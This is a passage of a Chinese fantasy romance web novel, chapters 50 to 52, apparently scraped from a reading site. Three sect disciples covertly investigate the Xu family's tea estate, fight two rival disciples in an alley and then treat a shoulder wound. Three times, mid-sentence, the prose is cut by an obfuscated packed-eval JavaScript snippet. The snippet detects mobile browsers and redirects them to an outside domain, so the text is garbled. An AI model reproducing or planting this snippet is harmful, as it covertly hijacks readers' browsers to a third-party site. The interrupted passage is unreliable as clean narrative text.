“清居宗灵兽暴动,去看看。”褚霁远看着薛予蓁,朝她招招手,待她走到自己面前后,轻轻在她额头一点,“此行比任何一次都要凶险,不知徐家是否已经察觉到我们的怀疑,一切当心。” 说罢,伸手将人搂进怀中,“莫要犯险,保全自己。” 师兄此前从未有过如此外露的担忧,薛予蓁心中动容,却又无法抑制地想起伐邪的话。她在褚霁远背上轻轻拍了两下,“我知道,我会的。” “所以,为什么这人也要和我们一起?”子书珹抱着剑,神色不虞地看着灵舟前面的两人。 薛予蓁听见他的声音,扭头嘻嘻地笑着,“谢云涧说他很闲嘛。而且我问过师兄了,他说可以带他一起。” 谢云涧和薛予蓁肩膀紧挨着坐在一起,闻言,也回头看向子书珹,“是薛小姐好心,才收留了我这个闲人。”他瞄了一眼依旧一脸不满的子书珹,垂眸小声道,“是我哪里惹子书兄不快了吗?我可以改的。” “嗯?”薛予蓁仔细看了看子书珹的脸色,“没有吧,许是前些日子累着了,心情不太好。”她凑到谢云涧耳边,“其实子书师兄对谁都是这样的,你不必太在意。” 她凑得太近,谢云涧的耳垂被温热的吐息烧得通红,他收去眼中的委屈,不动声色地仰了仰头,“是吗?但我瞧子书兄待你便很温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471946|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和。” 被他这么一说,薛予蓁才意识到,不论是刚入宗时,还是如今,子书珹都待她极好,从来没有对她说过一次重话。这次也不例外,在察觉到薛予蓁的目光后,子书珹立马挑起一抹笑,“怎么啦?” 薛予蓁摇头,“没什么。子书师兄此前日子辛苦了,还有些时间才到鹊柳城,你进屋里歇息歇息吧。” 从来安城回来后又马不停蹄地赶往鹊柳城,体内灵力也并未全部恢复,子书珹确是疲倦,他点点头,“那便麻烦你看着灵舟了。”说着,他又看向谢云涧,“还有你,谢公子,虽说小风筝是邀你一道前往,但也还是要担起她对你的信任吧。” 说话间,灵舟撞上一只飞鸟,颠簸了一下。谢云涧眼疾手快,搂着薛予蓁的肩膀助她站稳,而后才看着子书珹道:“这是自然,子书兄放心歇息吧。不然薛小姐可是会担心的。” 说完,他轻声啊了一声,又转向薛予蓁,满脸歉意,“薛小姐,我是不是有些越俎代庖了?” 薛予蓁摆摆手,“这倒也不至于。还有,你也别叫我薛小姐了,听着总是怪怪的。” 谢云涧不好意思地别过头,“那我该称呼你什么?可以像他们一样喊你小风筝吗?” 薛予蓁一愣,反应过来后竟有些想去捂住他的嘴巴,耳尖红红的,“不要不要,师兄他们这样喊就算了,要是连你也……”薛予蓁长叹一口气,死活也想不通自己在家中的小名到底是被谁传得这么广。 “阿予。” “诶?”薛予蓁朝谢云涧看去,转头撞进他含笑的双眸中。 谢云涧见她看着自己发呆,立马道:“抱歉,是不是有些不太好?” “当然不是。”薛予蓁摇头,“只是很少有人这样叫我,一时有些没有反应过来。” “阿予。”谢云涧又喊了一声。 这次薛予蓁很快的应了声,“嗯!” 两人气氛和睦,一旁围观的明若遥却觉得身边的子书珹气得要走火入魔了,可谁知他只是冷哼一声就快步走进了舱内,一副再多看谢云涧一眼就会瞎掉一样。 明若遥一时有些摸不着头脑,她怼了下旁边的莫泱,“你说,子书师兄对予蓁到底什么意思?” 莫泱奇道:“你不知道吗?子书师兄家里妹妹可多了,对薛师姐这么好,估计是觉得像自己的妹妹吧。”他觉得自己已经和明若遥混熟了,于是拍了拍她的肩膀,“放心吧,若是子书师兄真有什么意思,这位谢公子啊,是上不灵舟的。” 说完,他兴冲冲地走向薛予蓁,朗声道:“薛师姐!我又搞到一个宝贝,你要不要看看?” 薛予蓁眼睛一亮,“什么什么?我想看!” 莫泱揽着她的肩往舱内走,叽叽喳喳地同她说话,“师姐,这东西可好玩了,家里拍卖行特地留给我的……” 明若遥无语地闭了闭眼,看向谢云涧的时候果不其然看见他敛了笑意,眼神冷淡地盯着两人的背影,只在撞上明若遥目光时微微挑起嘴角笑了下,随后便坐在舵前,一言不发地探查着路线。 云雾散去,远处一片青绿的茶山映入眼帘。 靠近山脚的宅院牌匾上笔走龙蛇地提着四个字——宜苏茶庄。 50. 第五十章 徐家 笼盖被老板缓缓揭开,蒸笼里的热气争先恐后地冒出来,白胖的包子整齐地码在笼屉上,看着便叫人垂涎欲滴。 挎着菜篮的妇人走上前,娴熟地从钱袋里掏出八个铜板,“老板,要两个肉包子。” “好嘞。”老板应了一声,麻利地捡出两个肉包包在油纸里递给妇人,却在接钱时顿住了,“这,还差两文钱。” 妇人脸色一变,嚷嚷道:“前几天我来买,还是四文钱一个,怎么今日就涨价了?” 老板道:“近日天时不好,粮食产出也差,我们进货的价钱也高了……” 虽然听老板这么说,但妇人仍依依不挠地争辩着,周围渐渐围满了不明所以的路人。 薛予蓁从客栈里走出来时便看到了这一幕,她不由得停下脚步,看着吵嚷的两人若有所思。 “嗯?阿予?”谢云涧从她身边探出头轻轻唤了她一声,却没得到回应,顺着她的视线望去,只看见了一堆圆滚滚的包子,不禁失笑“想吃?”他抬手在她头上轻轻一拍,“我去给你买。” 薛予蓁没想到他会错了意,连忙拉住他的手,“我没有想吃啦。” 见他好奇地看着自己,薛予蓁解释道:“我只是觉得,若是灵气衰减的问题解决不了,五洲的百姓只怕会不好过。” 莫泱不知何时走到了他们身边,叹息道:“是啊,一个月前大雨连绵,足足下了七日,许多地方都发了洪涝。”他抬头望了望天,“如今又是烈日当空,许久都没下过雨了吧。农户们要遭殃了啊” “啊!”他哀嚎一声,抬手搭上薛予蓁的肩,“且不去说这些事情,我们也解决不了,徒增烦恼。”他压低了嗓音,凑在薛予蓁耳边,“进鹊柳城两日,居然一点关于徐家的事情都打探不到。诶——” 谢云涧拨开他的手,插到两人之间,面上看不出什么,眼中却横生冷意。莫泱无语地朝他翻白眼,比着口型骂他小气鬼。 薛予蓁被谢云涧遮得严严实实,看不见他们在说什么,疑惑地扯了扯谢云涧的袖子,“怎么了?” “无事,莫兄方才没站稳,我怕他将你也带倒了。”谢云涧话谎话张口就来,气得一旁的莫泱又连翻几个白眼。 “小心些。”薛予蓁接着莫泱之前的话,也长叹一口气,“是啊。暗地里问了许多,竟都是夸赞徐家的话。不过倒也正常,毕竟在鹊柳城,徐家宜苏茶庄的势力很大嘛。” -- 两日前,灵舟在鹊柳城二十里外降落,几人商议后,决定兵分两路——子书珹带着许乐禾他们探查城外的田地和宜苏茶庄,而让薛予蓁带着谢云涧这个“外乡人”在城里暗中查查徐家。 “并非是瞧不上你的意思,小风筝。”子书珹道,“你才入道四年,自然会让他们觉得你见识不多,好糊弄。”他横了一眼谢云涧,“至于谢公子,散修一个,入不得徐家家主的眼。” 薛予蓁自然是知道子书珹的用意,只是她虽然看了一路的地图,但对鹊柳城还是不甚了解。 莫泱自告奋勇,“子书师兄,让我同薛师姐一起吧。”他得意洋洋地晃晃脑袋,“若是让这两人单独去,不知道要在城中转悠多久呢。” 谢云涧闻言意味不明地看了他一眼,却也没说什么拒绝的话。 薛予蓁更是不会有什么意见。见他二人如此,子书珹只好点点头,嘱咐道:“莫要声张,若是遇到危险,千万不要硬闯。两日后子时,在此处相见。” “两位师兄,阿遥,你们也要小心。” --- “唉……”莫泱瞟了瞟路人,失落道,“两日期限已到,我们却什么都没探查到。” 这话说得一点不夸张,两日下来,不仅一点关于徐家的坏话都没听到,反倒是被城中居民的言论讲得要怀疑 自己所得的消息是不是有问题了。 但也正是因为徐家这样“干净”,内里的腌臜才会更多,只是他们藏得太好,藏得太深了。 莫泱烦躁地挠了挠头发,崩溃道:“总不能再去同那个老头讲些有的没的吧。” 提及徐家家主,谢云涧也不耐地皱眉,“我也不愿再与他说什么。” 入城的第一日,出于礼貌,三人还是去徐家拜访了徐家家主徐侪。那位老人看着五六十岁,蓄着山羊胡,瞧着倒是一副和善的样子。但灵兽对人的恶意极为灵敏,往日好动的松果那时却缩在谢云涧的衣袍里瑟瑟发抖。 若不是因为眼前之人,那便是徐家宅邸里有什么更为阴邪的东西使得松果那么害怕。 三人惆怅地连连叹气,最终还是走到了俆府附近。 谢云涧眼珠子一转就想出一个坏主意,他手往莫泱肩上一搭,笑道:“莫兄,若是我没记错的话,家中经营着拍卖行。想必,应该见识过许多天灵地宝,同徐侪也很有话说吧。” 莫泱眼中涌起无尽的疑惑,指指自己,“啊?我,我吗?”得到谢云涧赞同的点头后,他寄希望于薛予蓁,目光殷切地看着她。 谁知薛予蓁也不是什么好人,无辜地朝他眨眨眼,“确是如此,莫师弟你口才了得,一点小事都能叫你说得玄妙无边,正合适呢。” 推脱无望,莫泱眼里霎时没了光亮。他虚弱地看了看眼前两人,一言不发地走进旁边的小巷子中。待他出来时,低调朴素的小仙长摇身一变挥金如土的世家小少爷,他一袭玄色长袍,金线勾勒的飞鸟苍鹰格外耀眼,腰间挂着两三块成色极佳的玉佩。长剑已收起来,一柄白玉扇子被他拿在手中抛上抛下。 简直活脱脱一个纨绔小少爷。 莫泱颇不自在地扯了扯自己的衣服,脸色浮现出一抹粉红,他展开扇子挡住自己的脸,不好意思地说道:“自进了知源宗,就很少穿得如此招摇。薛师姐,您别看我了。” 薛予蓁不以为意,“有什么看不得吗?” 远远地瞧着还不够,薛予蓁走前围着莫泱走了几圈,赞道:“没想到你平常那副样子,正经打扮起来还挺像样子的。” 莫泱不想去问“那副样子”是什么样子,毕竟薛师姐恢复活力后,那张嘴就不太可爱了。他道:“巧的是我母亲确是对宜苏茶庄所产的金玉参茶有些兴趣,我届时便借着这个话题同徐侪周旋一会儿。薛师姐,你和谢公子正好能去府内别的地方探探。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471947|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛予蓁点头同意,偏头想问问谢云涧的意见,却见他根本没在听,而是低着头拽自己的衣袖翻看着,一副不太高兴的模样。 “谢云涧?衣服怎么了?”薛予蓁正想凑过去看看,谢云涧却托着她的脸隔开了视线,“嗯?” 谢云涧松手时手指在她脸颊上不着痕迹地蹭了一下,“没什么。既然想出了法子,我们便行动吧。” 他说完便看向莫泱,而莫泱斜勾着嘴角,眯着眼睛戏谑地看他。谢云涧一顿,揽着他的肩膀往隐蔽处走,“你先别急去,等我找找师父写给我隐身符。” 被他俩丢在身后的薛予蓁眨眨眼,抬手在谢云涧擦过的地方摸了摸,唇角微微勾起。 “阿予?” 薛予蓁迈步朝两人走去,朗声回应:“来啦。” 莫泱深吸两口气,挂起一张笑脸闲庭信步地往俆府去了。隐去身形的薛予蓁两人跟在他身后,看着他有模有样地同门房交谈。没一会儿,俆府大门打开,管家弓着腰请莫泱进去,莫泱背在身后的手动了动,示意他们俩跟上。 路过门口的守卫时,薛予蓁好奇地伸手在他面前挥了挥,守卫被带起的气流迷了眼睛,疑惑地探头张望着。 而险些闯祸的薛予蓁被谢云涧锁着双手搂在怀里往前走,谢云涧给她传音道:隐身符只是隐去身形,撞上人还是会被察觉,小心些。 薛予蓁忙不迭地点着头,示意自己已经知道了,晃晃手腕叫他放开自己。 谢云涧却假装没看见,落后莫泱几步地跟着他走。 直到被引着穿过几道长廊,带到了书房,谢云涧才做出一副恍然大悟的表情,将人放开。 而另一边,管家将人带进大书房后,弓身行了一礼,道:“还请莫小少爷稍等一等,老爷马上就来了。” 莫泱打量书房的目光一顿,回问道:“徐老太爷今日不在吗?” 管家道:“老太爷今日去茶庄了。” 莫泱状似理解地点点头,管家又道:“莫小少爷且在这里坐一会儿,我去遣人再催催老爷。” 见管家退出屋内,莫泱迅速捏了一个避声诀,“薛师姐,谢公子,你们在吗?” “在。” 莫泱松了一口气,“子书师兄他们并未传音说那个老头子在茶庄,你二人探查时小心些。” 薛予蓁应了声好,将一张传音符拍到他手中,“若是遇到什么,不要独自面对,立马传音给我们。” 门外已经传来几人的脚步声,莫泱撤了诀,没再说话,只微微点点头。 薛予蓁和谢云涧抢在徐老爷进门前出了书房,路过他时,薛予蓁突然心口传来一阵异样的感觉,她猛地停下脚步,回头却只能看见隐入房门的衣角。 谢云涧低声问道:“怎么?” “那位徐老爷,身上的气息不对。”薛予蓁道。 谢云涧道:“方才好奇看了一眼,他脚步虚浮,眼白混浊,且徐家若是真炼了能增加修为的邪丹,自己又怎么不会动心尝试。”他拉起薛予蓁的手往后院走去,“说不准在来见莫泱之前,那位徐老爷正在吃丹药呢。我们先去后院瞧瞧。” 51. 第五十一章 暗探 听闻徐家祖上出过大祸,原先庞大的家系死的死,伤的伤,如今只留有三支主脉。而徐赠春所在的那一脉,也只剩她一人——她爹徐家老二在十几年前就死于非命,至今没有结果,母亲被贼人逼入绝境,不得已跳崖以证清白。 不过,消息都是从徐家出来的,真假几分就不好说了。 本该是最具人气的后院,却不见一个人。回廊曲折,两人绕了好一会儿才看见一座小亭子,听见亭中传来的零星话语。薛予蓁朝说话那三人看去,登时一愣——那位徐老太爷还真没去茶庄,而坐在他对面的两人,正是在平阳城时见过的曲飞白和崔以云。 薛予蓁拉着谢云涧便想往假山后面躲,走到一半才想起旁人如今看不见他们。便心安理得地抱臂立在一旁听 他们说话,只是徐侪的实力暂时不清楚,不敢靠得太近。 “师父前些日子还在问宜苏茶庄怎么还未到襄州走商,他就馋那一口茶呢。”曲飞白笑得温和,语气恭敬。 徐侪朗声大笑,“难为你师父惦记,但实在是近月来茶山产量不足,五洲又怪事横生,我那商队里的都是普通百姓,可担不起路上的周折。” “近来确实不太平……” 薛予蓁听了半天,听得是眼冒金星,这两人还真就只绕着茶山茶叶说了足足一刻钟。 谈到最后,曲飞白和崔以云朝着徐侪抱拳道别,前者道:“茶山产量下降怕是害了什么病,凌河药谷在此方面也算是颇有了解。徐庄主若是不嫌弃,待我回谷后唤几位师弟师妹来替您瞧瞧。” 徐侪道:“飞白有心了。替我向你师父带声好。” 见三人往这边走来,薛予蓁和谢云涧急忙往后撤了撤,收着气息等他们离开。 望着三人渐远的背影,薛予蓁心中疑问颇多,她轻轻拽了拽谢云涧的衣袖,小声道:“早在几个月前,曲飞白和崔以云便在平阳城中寻碧绛草的线索。而如今又千里迢迢地来了渝州,却是为了给自己师父讨口茶喝……” 这借口她是万万不敢相信的。 凌河药谷就算是近年来日渐衰败,也绝非到需要为了点茶叶巴结讨好茶庄的地步。 谢云涧虽然不认识这两人,但他已经举起传音符,给莫泱留了话,“情况有变,我和阿予去追两名凌河药谷的弟子,我们客栈汇合。” 曲飞白和崔以云出了俆府后七拐八拐地在一些小巷子里穿梭,本来只想远远跟着他们的薛予蓁和谢云涧不得已加快脚步,才不至于被他们二人甩掉。 又一次在转角处跟丢人时,薛予蓁解除了隐身符,蹙着眉道:“这两人是泥鳅吗?溜得这么快。” 铮铮—— 护在她身后的谢云涧挥剑挡开两枚飞镖,墙上两道黑影一跃而下,崔以云手持两把弯刀半挡在曲飞白身前,冷声道:“为什么跟着我们?” 薛予蓁不回答她这个问题,反而问道:“两位前辈才应该解释一下为什么会在鹊柳城内吧?知源宗这次也未接收到凌河药谷的拜帖呢。” 曲飞白笑道:“薛道友方才在俆府也听见了不是吗?我与师妹不过是心系师父,替他来宜苏茶庄讨点茶叶罢了。” 他顿了一下,意有所指地看着薛予蓁,“至于为什么没有拜帖……前些日子五宗大比,师父为护谷内弟子,受了伤,我便没有去打扰他。” “俆府?您在说什么啊前辈?”薛予蓁并不上当,她歪了歪头,不解道:“我与好友近日正好在鹊柳城游玩,刚刚晃眼看看熟悉的身影,正想上前打个招呼,却见二位走得越来越快,险些跟不上。” 谢云涧在一旁帮腔,“虽与二位是初次见面,但方才那股子逃窜的劲,晚辈见识少,只在犯了事的牲畜上看见过呢。” 曲飞白脸上假惺惺的笑瞬间就消失了,他手中唤出长剑,寒声道:“小小年纪,说话真不好听啊。”说完,便提剑打了上来。 薛予蓁急忙唤出不系舟,畅快地喊道:“谢云涧!你话说得真好听!” 崔以云见她这时候还有心思说这些话,脸上寒意更甚,“找死!” 不系舟挑开两柄弯刀,又转头迎上另一柄剑,两者打得激烈。谢云涧将白潋银月抛向薛予蓁,捏着剑诀挥出长剑,剑气不偏不倚地朝崔以云攻去,即便闪避及时,也在她的左臂上划出一道血痕,但她丝毫不在意,反手握住双刀,朝谢云涧掷出两道剑气。 薛予蓁旋身退开几步,见不系舟与曲飞白苦苦缠斗,抬手拉弓瞄准他,只是箭矢还未射出,一柄小刀直直朝着薛予蓁的面门袭去。薛予蓁只好收弓躲避,却叫它在手腕上狠狠打了一下。 崔以云不知何时与曲飞白换了交锋对手,此刻正面色不善地望着薛予蓁,手中只余下一柄弯刀。待薛予蓁意识到她的目的时已有些晚了,身后疾驰而来的另一柄弯刀重重地打上她的脊背,薛予蓁踉跄几步撞在墙上,喉间涌上丝丝腥甜。 “阿予!呃——” 曲飞白一剑刺向谢云涧的肩膀,“这个时候还不顾及自己吗?二位真是情真意切啊。我不介意送你们做一对亡命鸳鸯。” 他狠话刚刚放下,身后突然袭来一阵寒意,他灵敏地往旁边一躲,银霜箭矢擦着他的脸侧而过,狠狠钉入地面。 回首看去,薛予蓁正放下白潋银月,抬手利落地擦去唇边的血迹。不系舟将弯刀钉在墙上,随着薛予蓁的一声令下,被斩成两半。 而崔以云却被不知从哪冒出来的金色长剑纠缠着,本命灵器与主人心意相连,弯刀碎裂的同时,崔以云身形一滞,捂着胸口吐出一口鲜血。眼见长剑直奔着她的咽喉而去,曲飞白急忙甩出两道剑气挥开两人,疾步上前护住崔以云,格开那把剑。 “二位前辈,”薛予蓁这时倒是开口了,她笑得蔫坏,“我们俩修为虽不及你们,但好在受师门宠爱,身上宝贝可不少。” 谢云涧站在她身边,虽然也是浑身狼狈,但表情也带着几分奚落,他伸手接过金色长剑,夸赞道:“好负星,干得漂亮。” 负星显然也不是一把简单的剑,它听见自己被夸后,挣脱主人的手,耀武扬威似地在空中转了一圈。 曲飞白搀着崔以云,眼神阴沉得吓人,但下一刻他突然笑了起来,“两个不知天高地厚的毛头小子,弄出这样的阵仗之前,怎么不想想你们要的情报到手了吗?” 他催动符咒前嘲道:“反正,我们此行的目的已经达到了。再会。” 话音刚落,白光一闪后两人便消失了。 谢云涧上前探查踪迹,道:“居然是传送符,看来他们灵力还剩不少,若是继续打下去,我们不是他们的对手。” 薛予蓁脱力地往墙上一靠,将白潋银月递还给谢云涧,“不愧是神器,真是耗神又耗力。” 好笑地将人扶了起来,谢云涧将弓收了起来,“你并非它的主人,确实要消耗多一些。不过,就这样将他两人放走?” 薛予蓁看着他,笑了下,“你也傻了不成?我们的目的本就不是凌河药谷,不过曲飞白最后那番话倒是承认了他们与徐家私下的交易勾结。” 谢云涧歪头想了想,“这么说倒也是,徐家知道了有人在暗地里查他们,自会更加小心,但同时,那些知道内情之人也会找上我们。” 两人相视一笑,都在对方的眼里看见了精明的算计。 “薛师姐!谢公子!”莫泱的声音远远传来,他换下了那身奢华的玄色长袍,从巷子口跑了进来,看见这满墙满地的狼藉,心惊胆战地围着他们转圈圈,“我的天呐,你们俩没事吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471948|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 薛予蓁和谢云涧一左一右搂着他的肩,推着往外走。薛予蓁凑在他耳边小声道:“莫泱你个小蠢蛋,有人跟着你都没察觉到吗?” “什么——”莫泱绝望地哀嚎一声,眼底满是疲惫,“你们在这搞出这样的动静,我身后就算跟着千人都是正常的,好吗?” 巷子口确实围满了看热闹的百姓,见他们三人走了出来,有人上前问道:“三位仙长,这,这里是出什么事了?” 围观百姓多是身无灵力的凡人,脸上都带着些恐慌,谢云涧见状安慰道:“请诸位放心,不是什么严峻的问题,灵兽作乱罢了,现今已经解决了。” 听他这么一说,百姓多在心里悄悄松了一口气,岂料谢云涧话锋一转,“不过今日我们伤它深重,怕是过两日又会找上门了。还请诸位注意些,若是察觉什么异样,及时上报城中守卫。” 这话一出,人群又骚动起来,不断地有人问着相同的问题,以求自己心安。谢云涧倒是个好脾气的,一遍一遍不厌其烦地回答着。 谢云涧说话时候,薛予蓁不动声色地观察着藏在人群里浑水摸鱼监视着他们的俆府探子,那人一不留神和薛予蓁对视上了,当即慌张地扭过头。 薛予蓁拉过莫泱,从人墙里挤了出去,压着声音问道:“你在俆府里探到了什么消息?露馅了?怎么还有探子追着我们?” 莫泱摸摸脑袋,也小声凑到她身边,耳语道:“师姐!还真有,我和徐老爷说话的时候,老觉得他心不在焉,总是往外瞧,问他问题也要反应好久才能回答上。” “若是徐家真在炼邪药,该不会这就是药的副作用吧?” 薛予蓁道:“可既然知道这是邪药,还敢自己吃?” “急功近利之人哪还怕这些!”一说到什么世家阴私,莫泱就起劲了,“师姐你不知道吧?其实这位徐家大爷,本是没有仙缘的,灵脉经络乱得跟树根似的,全靠他娘用灵丹砸出来现在的一身修为。” 他挑了挑眉,“三年前在我家见过他一次,那会儿还没结丹呢。今日一看都已经到了元婴境界。”他一摊手,“五六十岁的人了,竟还不愿意接受现实。” 四年便到金丹的薛予蓁眼中多了些茫然。 想起这个被师门弟子怀疑过是用丹药堆砌起修为的师姐,莫泱连忙补充道:“你不一样,你是天才嘛师姐。就和褚师兄一样,天生灵脉,随便练练便是那些人的一辈子了。” 薛予蓁看他一副说错话的心虚样子,觉得好笑,摇了摇头没说话。 莫泱不知又想到了什么,吸了一口气,“这么一想,那位谢公子倒也算是个天才了,就是稍微有些小气——” “哦?”谢云涧的声音突然插了进来,将两人吓一激灵,他分毫不顾莫泱的感受,“我如何?” 看着将自己和薛予蓁隔得远远的谢云涧,莫泱又一次很不礼貌地翻了个白眼,然后憋屈地吐出一句,“不如何,你听错了。” 谢云涧满意地笑了下,看向薛予蓁时目光更是温和,“阿予,先回客栈处理一下伤口吧。” 看着谢云涧肩上那道刺眼的伤口,薛予蓁瞬间将莫泱甩到身后,蹙着眉自责道:“我没什么事,倒是你……怪我不好,光顾着徐家的事情,都忘记你受了伤。” 她拿出一方崭新的手绢,小心翼翼地擦拭着滴溅到他脸颊上的血迹,问道:“疼吗?” 谢云涧愣了一下,有些结巴地说道:“不,不疼……” “时间还早,先回客栈替你包扎一下吧。”薛予蓁道。 “好,谢谢阿予。” 被完全遗忘在身后的莫泱捏紧了拳头,正想骂人,突然察觉到背后一道若有若无的目光在盯着他们,转身看去,却一派正常。 52. 第五十二章 疗伤 待谢云涧解开衣襟露出半块胸膛时,薛予蓁才后知后觉地有些不好意思。少年人肩背虽不及成人宽阔,却也足够挺拔。皮肤白皙却不显羸弱,结实的胸膛上覆着一层薄薄的肌肉,随着呼吸一起一伏,精廋有力。 谢云涧比薛予蓁高了近半个头,此刻坐在床上,低垂着头,露出脆弱的脖颈。 或许是薛予蓁迟迟没有动作,谢云涧抬起看她,轻声唤道:“阿予?若是不方便的话……” 衣襟本就松散,他不动还好,一动便散得更开,薛予蓁一低头就看见了紧实的腰腹,脸上不禁一热,手中沾水的帕子又落到盆中。 “嗯。”谢云涧偏头避了一下,却还是叫水溅了自己一脸。 薛予蓁骤然回神,拧干帕子替他擦了擦脸,“抱歉抱歉,我方才走神了——唔。” 两人本就凑得极近,谢云涧转头想同薛予蓁说话,薛予蓁正弯着腰替他擦水,二人都没注意,额头结结实实磕在一起,痛呼出声。 谢云涧自己没什么感觉,一瞧薛予蓁额头红红一片,想抬手给她揉一揉,却被人按着手臂。 薛予蓁眼中含笑,“你不要再动啦,伤口都要裂开了。”她这么说着,自己却伸出手指在谢云涧的额头点了点。 像只大猫一样。看着他乖巧听话的样子,薛予蓁心道。 少女指尖沾了水,点在额头凉丝丝的,谢云涧却觉得自己浑身都热起来了,他连忙低下头,避开那双笑意盈盈的眼睛。 肩上的伤口同布料粘连在一起,薛予蓁拿着帕子一点点将伤处润湿,轻轻地褪下另一半衣衫。 曲飞白下手不轻,伤口约一掌长,红得狰狞。薛予蓁嘶了一声,感觉自己的肩膀也莫名疼了起来。她身边的师兄们个个身手不凡——噢,许乐禾自然除外——没叫薛予蓁见过自己的伤口。 薛予蓁手指轻轻抚过伤口,道:“疼吗?”声音小小的,带着些难过。 谢云涧哪还说得出疼,“不疼,真的不疼。” 指腹带着清凉的伤药轻柔地落到伤处,慢慢涂抹开。谢云涧肩背瞬间绷紧,随着手指的挪动,耳尖烧得火红。 薛予蓁还以为是自己力使大了才叫他紧张起来,于是又将力度放轻了许多。 这下真叫谢云涧难受得紧了,他忍了一会儿,实在忍不住,伸手握住薛予蓁的手腕,“可,可以了。” 薛予蓁看着他那红通通的耳尖,在谢云涧看不见的地方抿着唇笑得开心,然后抬起能动的那只手在他头上揉了一把,“谢云涧,你害羞了?” 谢云涧不自在地松了手,眼神闪避游移着。 他平时总是一副温和自信的模样,难得看见他这样紧张,闷闷地笑起来,也不再出声,默默替他将纱布缠好。 谢云涧无奈地捂住自己的脸,闷声道:“阿予莫要笑我了。十几年来我都是同师父待在一起,连松果都是公的,实在未曾和女孩子有过这般接触。” 薛予蓁想了想,自己幼时便喜欢和兄长一起玩闹,上山爬树,下河摸鱼,什么顽皮的事情没做过?后来又总和师兄们混在一起,也是调皮捣蛋,小祸不断的。只是那时,好像也没有在意过有何不妥。 直到方才看见谢云涧的……仗着谢云涧此时看不见自己,薛予蓁又瞄了一眼他的赤裸的胸膛,脸上泛起淡淡粉红。 谢云涧好像和师兄师弟们确实不一样。 室内突然没了人说话,薛予蓁顿觉自己的心跳声大得闹人。她将手浸到盆中,慢慢洗净手上的药膏,一旁传来谢云涧窸窸窣窣穿衣裳的声音。 咚咚。 房门兀地被敲响,莫泱的声音透过门板传来进来,“两位,上什么药要上半个时辰!小心我去同子书师兄告状!” 谢云涧三两下将衣裳整理好,轻咳一声,“我去开门。” 莫泱没听见里面传来回应,心中一急,抬手又要砸门,谁料眼前的门突然打开,他急忙收势才没一拳搡到谢云涧身上。 “薛师姐呢?” 薛予蓁收拾后东西后从谢云涧身后冒出个头,“在这呢。” 莫泱一愣,视线在薛予蓁和谢云涧身上来回打转,半晌疑道:“师姐,你们不换件衣服吗?” 两人还是灰扑扑的一身,谢云涧肩上破了个洞,薛予蓁衣摆不知道在那条小巷子里蹭了多少灰尘。 薛予蓁闻言抬起手摸了摸鼻尖,谢云涧不自在地挠了挠头。 在莫泱疑惑的眼神中,薛予蓁心虚地解释道:“虽然我们有了自己的计划打算,但是多少也算是惹了祸嘛。” 莫泱恍然大悟,拖长音道:“哦。我懂了,你是想向子书师兄卖惨,以博取宽大处理是吧?” ---- 子书珹无奈地摇了摇头,“我还能真怪你不成?” 薛予蓁站在他面前嘿嘿傻笑。 子书珹又看了看谢云涧的肩膀,对上这人分外无辜的眼神,心累地叹了一口气,“伤口可是已经处理过了?” 谢云涧乖巧地点头,明智地不打算提是薛予蓁帮他处理的,“嗯嗯。” 许乐禾一眼就看出那生疏的包扎手法出自谁手,但现在实在不想看见自相残杀的场面,于是扯开了话题:“所以你们有什么谋划?” 六人相约在城外的一座破庙中相见,晚间风寒,近处的林中还不时传来野兽的嚎叫声。破庙的门窗被风吹得砰砰作响,室内烛影摇曳,将几人的影子照得怪异。 薛予蓁朝三位师兄师姐使了个眼色,没有说自己的想法,而是先讲了这两日他们三人在城中的所见所闻。 对于这个局面,另外三人都理解。 子书珹道:“徐家若是想要隐藏背地里做的事情,自然需要在明面上维持好形象,这样即便是有天东窗事发了,又有的是百姓来替他们讲好话。” 明若遥道:“不说城内,就连城外的农户也是对宜苏茶庄赞赏有加。” 走访的几家农户都说得到了茶庄不少的帮助,农闲时期,会允许农户家中的男人女人去庄子里帮工。 “听起来确实给自己博了不少好名声啊。”谢云涧道,“不过,若是这些人说的都是真的,那岂非是我们判断失误,平白冤枉了好人?几位确信徐家有问题吗?” 薛予蓁手掌一拍,“是啊子书师兄,我们问了好多人,都在夸徐家呢。” 两人说完,将目光看向莫泱,他沉默了一下,也道:“今日这两位闹出动静后,围观的百姓都说不担心有什么问题,以前城中出现什么歹人,都是徐家遣人轰走的。” 三人的说辞话里话外几乎都是对徐家的维护,明若遥和许乐禾听得一头雾水,刚想开口,却被子书珹抬手制止,他装模作样地叹了一口气:“听你们一说,倒是显得我太过鲁莽了。现在想想,师父也只是捡到了半块徐家腰牌,若是有人蓄意陷害……” “是真的。我,我能证明 